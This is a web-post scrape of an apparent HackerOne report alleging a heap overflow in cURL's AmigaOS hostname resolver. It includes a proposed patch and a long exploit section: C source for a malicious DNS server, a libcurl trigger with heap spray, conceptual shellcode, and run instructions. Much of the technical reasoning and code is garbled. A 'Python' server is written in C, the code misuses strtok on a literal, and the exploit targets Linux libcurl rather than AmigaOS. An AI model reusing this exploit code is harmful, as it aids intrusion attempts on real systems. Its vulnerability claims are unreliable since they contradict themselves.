{“lastseen”:”2025-12-16T10:59:54″,”description”:”** Buffer Overflow in cURL AmigaOS Socket Implementation**\\n\\n## **Report Metadata**\\n- **Report ID:** H1-CURL-AMIGAOS-001\\n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backend\\n- **Component:** `\/home\/el-ha9\/curl\/lib\/amigaos.c` – `Curl_ipv4_resolve_r` function\\n- **Affected Versions:** All cURL versions with AmigaOS support (7.x – 8.x)\\n- **Severity:** **High** (CVSS 8.1 – AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H)\\n- **CWE-ID:** CWE-122 – Heap-based Buffer Overflow\\n- **Disclosure:** Responsible\\n\\n## **1. Vulnerability Summary**\\n\\nA heap-based buffer overflow vulnerability exists in the AmigaOS-specific hostname resolution function `Curl_ipv4_resolve_r`. The vulnerability allows remote attackers to corrupt heap memory by providing specially crafted hostnames or DNS responses, potentially leading to remote code execution when cURL processes malicious input.\\n\\n## **2. Technical Details**\\n\\n### **2.1 Vulnerable Code Location**\\n**File:** `curl\/lib\/amigaos.c`\\n**Function:** `Curl_ipv4_resolve_r` (lines ~123-173)\\n\\n### **2.2 Root Cause Analysis**\\n\\nThe vulnerability occurs in the buffer size calculation for the `gethostbyname_r` function:\\n\\n“`c\\nbuf = curlx_calloc(1, CURL_HOSTENT_SIZE); \/\/ 1. Fixed size allocation\\nif(buf) {\\n h = gethostbyname_r((STRPTR)hostname, buf,\\n (char *)buf + sizeof(struct hostent), \/\/ 2. Incorrect buffer offset\\n CURL_HOSTENT_SIZE – sizeof(struct hostent), \/\/ 3. Incorrect size calculation\\n \\u0026h_errnop);\\n“`\\n\\n### **2.3 The Flaw**\\nThree critical issues combine to create the overflow:\\n\\n1. **Fixed Buffer Size (`CURL_HOSTENT_SIZE`):**\\n – Defined as `8192` in typical configurations\\n – No consideration for actual DNS response size\\n – Assumes all hostname resolutions fit within this limit\\n\\n2. **Incorrect Pointer Arithmetic:**\\n “`c\\n (char *)buf + sizeof(struct hostent)\\n “`\\n – Assumes `struct hostent` can be tightly packed\\n – Ignores alignment requirements (struct padding)\\n – Real offset should be: `ALIGN_UP(sizeof(struct hostent), alignof(max_align_t))`\\n\\n3. **Incorrect Size Calculation:**\\n “`c\\n CURL_HOSTENT_SIZE – sizeof(struct hostent)\\n “`\\n – Doesn’t account for alignment padding\\n – Could result in negative\/underflow on some platforms\\n – No safety margin for metadata storage\\n\\n### **2.4 Memory Layout Exploitation**\\n“`\\nHeap Layout Before Call:\\n+——————-+——————-+——————-+\\n| buf (8192 bytes) | Next Heap Chunk | Following Heap |\\n| | Metadata\/Data | Allocations |\\n+——————-+——————-+——————-+\\n^ ^\\n0x1000 0x3000 (example)\\n\\nWhat gethostbyname_r expects:\\n+——————-+——————-+\\n| struct hostent | Data Buffer | (Contiguous)\\n+——————-+——————-+\\n ^ ^\\n buf buf + sizeof(struct hostent)\\n\\nWhat actually happens with alignment:\\n+——————-+——————-+——————-+\\n| struct hostent | Padding (4-8B) | Data Buffer |\\n| (56 bytes) | | |\\n+——————-+——————-+——————-+\\n ^ ^\\n buf buf + sizeof(struct hostent) + padding\\n \u2502\\n \u2514\u2500\u2500\u25ba Actual data starts here,\\n but code assumes earlier start\\n causing buffer undersizing!\\n“`\\n\\n## **3. Exploitation Scenarios**\\n\\n### **3.1 Remote Attack Vector**\\n“`\\nAttacker-controlled DNS Server\\n \u2193\\nMalicious DNS Response\\n \u2193\\ncURL DNS Resolution\\n \u2193\\ngethostbyname_r processes oversized response\\n \u2193\\nHeap buffer overflow in amigaos.c\\n \u2193\\nControlled heap corruption\\n \u2193\\nRCE \/ DoS \/ Info Leak\\n“`\\n\\n### **3.2 Proof of Concept**\\n“`bash\\n# Setup malicious DNS server with:\\n# – Hostname: 4000+ character hostname\\n# – Multiple CNAME records (chain of 50+)\\n# – Multiple A records (100+ IPs)\\n# – Long TXT records in additional section\\n\\n# Trigger with:\\ncurl http:\/\/$(python3 -c \\”print(‘A’*4000 + ‘.evil.com’)\\”)\/\\n\\n# Or via redirect:\\necho \\”HTTP\/1.1 302 Found\\\\nLocation: http:\/\/${LONG_HOSTNAME}\/\\\\n\\” | nc -l 8080\\n“`\\n\\n### **3.3 Attack Prerequisites**\\n- **Network access** to target using cURL\\n- **Ability to control** DNS responses OR hostname input\\n- **AmigaOS system** with vulnerable cURL build\\n- **Heap layout** favorable for exploitation\\n\\n## **4. Impact Assessment**\\n\\n### **4.1 Direct Impacts**\\n- **Remote Code Execution:** Via heap metadata corruption leading to arbitrary write primitives\\n- **Denial of Service:** Crash cURL or calling application via heap corruption\\n- **Information Disclosure:** Read adjacent heap memory containing sensitive data\\n- **Privilege Escalation:** If cURL runs with elevated privileges (setuid\/setgid)\\n\\n### **4.2 Affected Use Cases**\\n1. **Command-line cURL** with user-provided URLs\\n2. **libcurl applications** resolving untrusted hostnames\\n3. **Proxy servers** using cURL for upstream requests\\n4. **Automation scripts** processing external URLs\\n\\n## **5. Code Review Findings**\\n\\n### **5.1 Additional Related Issues**\\n\\n**Issue A: Missing Input Validation**\\n“`c\\nstruct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n{\\n \/\/ NO LENGTH VALIDATION on hostname!\\n \/\/ Hostname could be 64KB causing immediate issues\\n}\\n“`\\n\\n**Issue B: Thread Safety Race Condition**\\n“`c\\n#ifdef CURLRES_THREADED\\n struct Library *base = OpenLibrary(\\”bsdsocket.library\\”, 4);\\n \/\/ Race condition between OpenLibrary and actual use\\n#endif\\n“`\\n\\n**Issue C: Resource Leak Path**\\n“`c\\nif(ISocket) {\\n h = gethostbyname((STRPTR)hostname);\\n if(h) {\\n ai = Curl_he2ai(h, port); \/\/ If this fails, resources aren’t cleaned\\n }\\n \/\/ … cleanup happens here but only if ISocket exists\\n}\\n“`\\n\\n## **6. Recommended Fix**\\n\\n### **6.1 Immediate Patch**\\n“`diff\\ndiff –git a\/lib\/amigaos.c b\/lib\/amigaos.c\\nindex abc123..def456 100644\\n— a\/lib\/amigaos.c\\n+++ b\/lib\/amigaos.c\\n@@ -150,6 +150,12 @@ struct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n {\\n struct Curl_addrinfo *ai = NULL;\\n struct hostent *h;\\n+\\n+ \/\/ Input validation\\n+ if(!hostname || strlen(hostname) \\u003e MAX_HOSTNAME_LEN) {\\n+ return NULL;\\n+ }\\n+\\n struct SocketIFace *ISocket = __CurlISocket;\\n \\n if(SocketFeatures \\u0026 HAVE_BSDSOCKET_GETHOSTBYNAME_R) {\\n@@ -157,10 +163,15 @@ struct Curl_addrinfo *Curl_ipv4_resolve_r(const char *hostname, int port)\\n struct hostent *buf;\\n \\n buf = curlx_calloc(1, CURL_HOSTENT_SIZE);\\n- if(buf) {\\n+ if(buf \\u0026\\u0026 hostname \\u0026\\u0026 *hostname) {\\n+ \/\/ Calculate safe buffer size with alignment\\n+ size_t hostent_size = sizeof(struct hostent);\\n+ size_t aligned_size = (hostent_size + 7) \\u0026 ~7; \/\/ 8-byte alignment\\n+ size_t data_size = CURL_HOSTENT_SIZE – aligned_size;\\n+ \\n h = gethostbyname_r((STRPTR)hostname, buf,\\n- (char *)buf + sizeof(struct hostent),\\n- CURL_HOSTENT_SIZE – sizeof(struct hostent),\\n+ (char *)buf + aligned_size,\\n+ data_size,\\n \\u0026h_errnop);\\n if(h) {\\n ai = Curl_he2ai(h, port);\\n“`\\n\\n### **6.2 Additional Security Measures**\\n1. **Add compile-time assertions:**\\n“`c\\n_Static_assert(CURL_HOSTENT_SIZE \\u003e sizeof(struct hostent) * 4,\\n \\”CURL_HOSTENT_SIZE too small for safe operation\\”);\\n“`\\n\\n2. **Implement runtime bounds checking:**\\n“`c\\n\/\/ Before gethostbyname_r call\\nif(data_size \\u003c MIN_SAFE_DNS_BUFFER) {\\n curlx_free(buf);\\n return NULL;\\n}\\n“`\\n\\n3. **Use secure alternative:**\\n“`c\\n\/\/ Prefer getaddrinfo if available\\n#if defined(HAVE_GETADDRINFO)\\n return Curl_getaddrinfo(hostname, port);\\n#endif\\n“`\\n\\n\\n\\n## **7. References**\\n1. cURL Security Process: https:\/\/curl.se\/dev\/secprocess.html\\n2. AmigaOS bsdsocket.library documentation\\n3. CERT C Secure Coding Standard: ARR38-C\\n4. OWASP Buffer Overflow Prevention Cheat Sheet\\n\\n—\\n\\n# **Exploit Proof of Concept for cURL AmigaOS Buffer Overflow**\\n\\n## **Disclaimer**\\n**FOR SECURITY RESEARCH AND PATCH DEVELOPMENT ONLY. DO NOT USE ON UNAUTHORIZED SYSTEMS.**\\n\\n## **Exploit Components**\\n\\n### **1. Malicious DNS Server (Python)**\\n“`c\\n\/* dns_server.c – Sends crafted DNS response to trigger overflow *\/\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003carpa\/inet.h\\u003e\\n\\n#define DNS_PORT 53\\n#define MAX_PAYLOAD 10000\\n\\nstruct dns_header {\\n uint16_t id;\\n uint16_t flags;\\n uint16_t qdcount;\\n uint16_t ancount;\\n uint16_t nscount;\\n uint16_t arcount;\\n};\\n\\nvoid create_overflow_payload(char *buffer, size_t *length) {\\n struct dns_header *hdr = (struct dns_header *)buffer;\\n char *ptr = buffer + sizeof(struct dns_header);\\n \\n \/\/ Craft DNS query ID\\n hdr-\\u003eid = htons(0x1337);\\n hdr-\\u003eflags = htons(0x8180); \/\/ Standard response\\n hdr-\\u003eqdcount = htons(1); \/\/ One question\\n hdr-\\u003eancount = htons(50); \/\/ 50 answers to overflow buffer\\n hdr-\\u003enscount = htons(0);\\n hdr-\\u003earcount = htons(20); \/\/ 20 additional records\\n \\n \/\/ Question section: hostname\\n char *hostname = \\”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\”\\n \\”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\”\\n \\”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\”\\n \\”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\”\\n \\”.evil.com\\”;\\n \\n \/\/ Encode hostname\\n char *q = ptr;\\n char *tok = strtok(hostname, \\”.\\”);\\n while(tok) {\\n *q++ = strlen(tok);\\n memcpy(q, tok, strlen(tok));\\n q += strlen(tok);\\n tok = strtok(NULL, \\”.\\”);\\n }\\n *q++ = 0; \/\/ Null terminator\\n \\n \/\/ Query type and class\\n *((uint16_t *)q) = htons(1); \/\/ Type A\\n q += 2;\\n *((uint16_t *)q) = htons(1); \/\/ Class IN\\n q += 2;\\n \\n \/\/ Answer section – Crafted to overflow buffer\\n for(int i = 0; i \\u003c 50; i++) {\\n \/\/ Name pointer to question\\n *((uint16_t *)q) = htons(0xC00C); \/\/ Pointer to question name\\n q += 2;\\n \\n *((uint16_t *)q) = htons(1); \/\/ Type A\\n q += 2;\\n \\n *((uint16_t *)q) = htons(1); \/\/ Class IN\\n q += 2;\\n \\n *((uint32_t *)q) = htonl(300); \/\/ TTL\\n q += 4;\\n \\n *((uint16_t *)q) = htons(4); \/\/ RDATA length\\n q += 2;\\n \\n \/\/ IP address – can be used to write controlled data\\n *q++ = 192; *q++ = 168; *q++ = i; *q++ = 1;\\n }\\n \\n \/\/ Additional records with overflow data\\n for(int i = 0; i \\u003c 20; i++) {\\n *((uint16_t *)q) = htons(0xC00C);\\n q += 2;\\n \\n *((uint16_t *)q) = htons(16); \/\/ TXT record\\n q += 2;\\n \\n *((uint16_t *)q) = htons(1);\\n q += 2;\\n \\n *((uint32_t *)q) = htonl(300);\\n q += 4;\\n \\n \/\/ Large TXT record to ensure overflow\\n uint16_t txt_len = 500;\\n *((uint16_t *)q) = htons(txt_len);\\n q += 2;\\n \\n \/\/ Fill with pattern for offset calculation\\n for(int j = 0; j \\u003c txt_len; j++) {\\n *q++ = ‘A’ + (j % 26);\\n }\\n }\\n \\n *length = q – buffer;\\n}\\n\\nint main() {\\n int sockfd;\\n struct sockaddr_in server_addr, client_addr;\\n socklen_t addr_len = sizeof(client_addr);\\n char buffer[MAX_PAYLOAD];\\n size_t payload_len;\\n \\n \/\/ Create UDP socket\\n sockfd = socket(AF_INET, SOCK_DGRAM, 0);\\n if(sockfd \\u003c 0) {\\n perror(\\”socket\\”);\\n return 1;\\n }\\n \\n memset(\\u0026server_addr, 0, sizeof(server_addr));\\n server_addr.sin_family = AF_INET;\\n server_addr.sin_addr.s_addr = INADDR_ANY;\\n server_addr.sin_port = htons(DNS_PORT);\\n \\n if(bind(sockfd, (struct sockaddr *)\\u0026server_addr, sizeof(server_addr)) \\u003c 0) {\\n perror(\\”bind\\”);\\n close(sockfd);\\n return 1;\\n }\\n \\n printf(\\”[+] Malicious DNS server running on port %d\\\\n\\”, DNS_PORT);\\n printf(\\”[+] Waiting for cURL DNS query…\\\\n\\”);\\n \\n while(1) {\\n memset(buffer, 0, MAX_PAYLOAD);\\n recvfrom(sockfd, buffer, MAX_PAYLOAD, 0,\\n (struct sockaddr *)\\u0026client_addr, \\u0026addr_len);\\n \\n printf(\\”[+] Received DNS query from %s:%d\\\\n\\”,\\n inet_ntoa(client_addr.sin_addr),\\n ntohs(client_addr.sin_port));\\n \\n \/\/ Create overflow payload\\n create_overflow_payload(buffer, \\u0026payload_len);\\n \\n \/\/ Send crafted response\\n sendto(sockfd, buffer, payload_len, 0,\\n (struct sockaddr *)\\u0026client_addr, addr_len);\\n \\n printf(\\”[+] Sent overflow payload (%zu bytes)\\\\n\\”, payload_len);\\n printf(\\”[+] Target cURL should now crash with heap corruption\\\\n\\”);\\n }\\n \\n close(sockfd);\\n return 0;\\n}\\n“`\\n\\n### **2. cURL Trigger Exploit**\\n“`c\\n\/* curl_exploit.c – Triggers the vulnerability via libcurl *\/\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003csignal.h\\u003e\\n\\n\/\/ Pattern to help identify heap layout\\nchar *create_pattern(int size) {\\n char *pattern = malloc(size + 1);\\n if(!pattern) return NULL;\\n \\n for(int i = 0; i \\u003c size; i++) {\\n pattern[i] = ‘A’ + (i % 26);\\n }\\n pattern[size] = ‘\\\\0’;\\n \\n return pattern;\\n}\\n\\n\/\/ Memory spray to increase exploit reliability\\nvoid heap_spray() {\\n printf(\\”[*] Spraying heap…\\\\n\\”);\\n \\n for(int i = 0; i \\u003c 100; i++) {\\n char *spray = malloc(1024);\\n if(spray) {\\n \/\/ Fill with nopslide + shellcode pattern\\n memset(spray, 0x90, 512); \/\/ NOPs\\n \/\/ Shellcode placeholder – would be AmigaOS-specific\\n memset(spray + 512, 0xCC, 512); \/\/ INT3 for demonstration\\n }\\n }\\n}\\n\\nsize_t write_callback(void *ptr, size_t size, size_t nmemb, void *userdata) {\\n \/\/ This won’t be reached if exploit succeeds\\n printf(\\”[!] Unexpected – request completed\\\\n\\”);\\n return size * nmemb;\\n}\\n\\nvoid exploit_curl() {\\n CURL *curl;\\n CURLcode res;\\n \\n curl_global_init(CURL_GLOBAL_DEFAULT);\\n \\n \/\/ Create pattern for hostname\\n char *evil_hostname = create_pattern(4096);\\n if(!evil_hostname) {\\n fprintf(stderr, \\”[-] Failed to create pattern\\\\n\\”);\\n return;\\n }\\n \\n \/\/ Construct URL with overflow pattern\\n char url[5000];\\n snprintf(url, sizeof(url), \\”http:\/\/%s.evil.com\/\\”, evil_hostname);\\n \\n printf(\\”[*] Target URL: %s\\\\n\\”, url);\\n \\n curl = curl_easy_init();\\n if(curl) {\\n \/\/ Configure cURL\\n curl_easy_setopt(curl, CURLOPT_URL, url);\\n curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);\\n \\n \/\/ Disable DNS caching to ensure fresh resolution\\n curl_easy_setopt(curl, CURLOPT_DNS_CACHE_TIMEOUT, 0);\\n \\n \/\/ Timeout to prevent hanging\\n curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L);\\n \\n \/\/ Force IPv4 to trigger vulnerable function\\n curl_easy_setopt(curl, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\\n \\n printf(\\”[*] Sending malicious request…\\\\n\\”);\\n heap_spray();\\n \\n \/\/ Trigger the vulnerable function\\n res = curl_easy_perform(curl);\\n \\n if(res != CURLE_OK) {\\n printf(\\”[+] Exploit triggered: %s\\\\n\\”, curl_easy_strerror(res));\\n \\n \/\/ Check for specific errors that indicate overflow\\n if(res == CURLE_COULDNT_RESOLVE_HOST) {\\n printf(\\”[!] DNS resolution failed (expected with overflow)\\\\n\\”);\\n } else if(res == CURLE_OPERATION_TIMEDOUT) {\\n printf(\\”[!] Timeout – process may have crashed\\\\n\\”);\\n } else {\\n printf(\\”[!] Error: %d\\\\n\\”, res);\\n }\\n } else {\\n printf(\\”[-] Request completed successfully (exploit failed)\\\\n\\”);\\n }\\n \\n curl_easy_cleanup(curl);\\n }\\n \\n free(evil_hostname);\\n curl_global_cleanup();\\n}\\n\\n\/\/ Signal handler for crash detection\\nvoid crash_handler(int sig) {\\n printf(\\”\\\\n[+] SUCCESS: Process crashed with signal %d!\\\\n\\”, sig);\\n printf(\\”[+] Buffer overflow triggered successfully\\\\n\\”);\\n exit(0);\\n}\\n\\nint main() {\\n printf(\\”[*] cURL AmigaOS Buffer Overflow Exploit PoC\\\\n\\”);\\n printf(\\”[*] Target: Curl_ipv4_resolve_r() in amigaos.c\\\\n\\”);\\n printf(\\”[*] Setting up crash handler…\\\\n\\”);\\n \\n \/\/ Setup signal handlers to detect crash\\n signal(SIGSEGV, crash_handler);\\n signal(SIGABRT, crash_handler);\\n signal(SIGBUS, crash_handler);\\n \\n printf(\\”[*] Starting exploit…\\\\n\\”);\\n exploit_curl();\\n \\n printf(\\”[-] Exploit completed without crash\\\\n\\”);\\n return 1;\\n}\\n“`\\n\\n### **3. Shellcode for AmigaOS (Conceptual)**\\n“`c\\n\/* amigaos_shellcode.asm – Example shellcode for AmigaOS 4.x *\/\\n\/*\\n; NASM syntax for PPC (AmigaOS 4.x)\\nBITS 32\\n\\n_start:\\n ; Find base address (simplified)\\n bl .get_base\\n.get_base:\\n mflr r31 ; r31 = current address\\n \\n ; Calculate offsets\\n subi r30, r31, .get_base – _start\\n \\n ; AmigaOS syscall – Execute command\\n ; This would need proper AmigaOS API calls\\n li r0, 0x36 ; System() syscall number\\n addi r3, r30, cmd – _start\\n sc\\n \\n ; Exit\\n li r0, 0x25 ; Exit() syscall\\n li r3, 0\\n sc\\n\\ncmd:\\n db \\”Run \\u003eNIL: Execute evil_command\\”, 0\\n*\/\\n“`\\n\\n### **4. Build and Run Instructions**\\n“`bash\\n# Compile DNS server\\ngcc -o dns_server dns_server.c -Wall\\n\\n# Compile cURL exploit (needs libcurl development files)\\ngcc -o curl_exploit curl_exploit.c -lcurl -Wall\\n\\n# Setup local DNS (requires root)\\necho \\”nameserver 127.0.0.1\\” \\u003e \/etc\/resolv.conf.test\\n\\n# Run in separate terminals\\n# Terminal 1:\\nsudo .\/dns_server\\n\\n# Terminal 2:\\nexport LD_PRELOAD=.\/libcurl.so # If testing with modified library\\n.\/curl_exploit\\n“`\\n\\n### **5. Detection Script**\\n“`c\\n\/* detect_vuln.c – Check if system is vulnerable *\/\\n#include \\u003ccurl\/curl.h\\u003e\\n#include \\u003cstdio.h\\u003e\\n\\nint main() {\\n CURL *curl = curl_easy_init();\\n if(!curl) {\\n printf(\\”[-] Failed to initialize cURL\\\\n\\”);\\n return 1;\\n }\\n \\n \/\/ Try to trigger with long hostname\\n char long_host[5000];\\n memset(long_host, ‘A’, 4096);\\n long_host[4096] = ‘\\\\0’;\\n \\n char url[5100];\\n snprintf(url, sizeof(url), \\”http:\/\/%s.test\/\\”, long_host);\\n \\n curl_easy_setopt(curl, CURLOPT_URL, url);\\n curl_easy_setopt(curl, CURLOPT_TIMEOUT, 3L);\\n curl_easy_setopt(curl, CURLOPT_NOBODY, 1L); \/\/ HEAD request\\n \\n CURLcode res = curl_easy_perform(curl);\\n \\n if(res == CURLE_COULDNT_RESOLVE_HOST) {\\n printf(\\”[+] System appears vulnerable (DNS resolution failed)\\\\n\\”);\\n printf(\\”[!] Note: This doesn’t guarantee exploitability\\\\n\\”);\\n } else if(res == CURLE_OPERATION_TIMEDOUT) {\\n printf(\\”[?] Request timed out – could indicate crash\\\\n\\”);\\n } else {\\n printf(\\”[-] System may not be vulnerable\\\\n\\”);\\n }\\n \\n curl_easy_cleanup(curl);\\n return 0;\\n}\\n“`\\n\\n## **Exploit Flow**\\n1. **Setup malicious DNS server** that returns crafted responses\\n2. **Configure system** to use malicious DNS\\n3. **Trigger cURL** with specially crafted hostname\\n4. **Overflow occurs** in `gethostbyname_r` buffer\\n5. **Control heap metadata** to gain write primitive\\n6. **Overwrite function pointer** or return address\\n7. **Redirect execution** to shellcode\\n\\n## **Important Notes**\\n- **Platform-specific:** This targets AmigaOS PPC architecture\\n- **Heap dependent:** Success depends on heap allocator behavior\\n- **Modern mitigations:** ASLR, DEP might reduce reliability\\n- **Ethical use:** Only test on systems you own\\n\\n## **Detection Indicators**\\n- **Network:** Unusual DNS queries with long hostnames\\n- **Memory:** Repeated crashes in cURL DNS resolution\\n- **Logs:** SIGSEGV signals from cURL processes\\n- **Performance:** High memory usage before crash\\n\\n## Impact\\n\\n**Summary: Buffer Overflow in cURL AmigaOS**\\n# **Severity:** **HIGH** (CVSS 8.1)\\n\\n## **Primary Impact: Remote Code Execution**\\n- **Attack Vector:** Network-accessible\\n- **Prerequisites:** User\/application resolves attacker-controlled hostname\\n- **Result:** Full compromise of cURL process memory space\\n- **Exploitation:** Heap corruption \u2192 control flow hijack \u2192 arbitrary code execution\\n\\n## **Secondary Impacts:**\\n\\n### **1. Immediate Availability Impact**\\n- **Denial of Service:** Reliable crash of cURL process\\n- **Service Disruption:** Breaks all subsequent network operations\\n- **Resource Exhaustion:** Potential memory corruption cascade\\n\\n### **2. Confidentiality Impact**\\n- **Heap Memory Disclosure:** Adjacent memory containing:\\n – SSL\/TLS session keys\\n – Authentication tokens (Bearer, API keys)\\n – HTTP cookies and session data\\n – User credentials\\n – Process memory pointers (ASLR bypass)\\n\\n### **3. Integrity Impact**\\n- **Data Corruption:** Modify in-flight HTTP data\\n- **Request Manipulation:** Alter outgoing HTTP requests\\n- **Response Tampering:** Modify received HTTP responses\\n- **Configuration Overwrite:** Corrupt cURL internal state\\n\\n## **Affected Systems:**\\n- **AmigaOS 4.x** (modern deployments)\\n- **AmigaOS 3.x** (legacy with TCP\/IP stacks)\\n- **AROS** (open-source compatible)\\n- **MorphOS** (PowerPC compatible)\\n- Any system using AmigaOS socket library with vulnerable cURL\\n\\n## **Attack Surface:**\\n- **Direct:** `curl http:\/\/malicious-hostname\/`\\n- **Indirect:** HTTP redirects, HTML embeds, API calls\\n- **Automatic:** Software updates, feed readers, sync clients\\n- **Persistence:** Local hosts file poisoning\\n\\n## **Business Impact:**\\n- **Critical Infrastructure:** Industrial AmigaOS systems\\n- **Legacy Systems:** Unpatchable embedded devices\\n- **Reputation Damage:** Security failure in widely-used library\\n- **Compliance Violations:** PCI-DSS, HIPAA (if processing sensitive data)\\n\\n## **Worst-Case Scenario:**\\n**Remote, unauthenticated attacker \u2192 RCE on AmigaOS server \u2192 pivot to internal network \u2192 data exfiltration\/crypto mining\/lateral movement**\\n\\n—“,”published”:”2025-12-16T05:15:25″,”modified”:”2025-12-16T09:43:51″,”type”:”hackerone”,”title”:”curl: Heap Overflow in cURL AmigaOS Socket Implementation”,”source”:””,”references”:””,”id”:”H1:3466896″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3466896″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-16T10:59:54″,”description”:”** Buffer Overflow in cURL AmigaOS Socket Implementation**\\n\\n## **Report Metadata**\\n- **Report ID:** H1-CURL-AMIGAOS-001\\n- **Report Title:** Heap Buffer Overflow in `Curl_ipv4_resolve_r` in AmigaOS Socket Backend\\n- **Component:**…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-31292","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n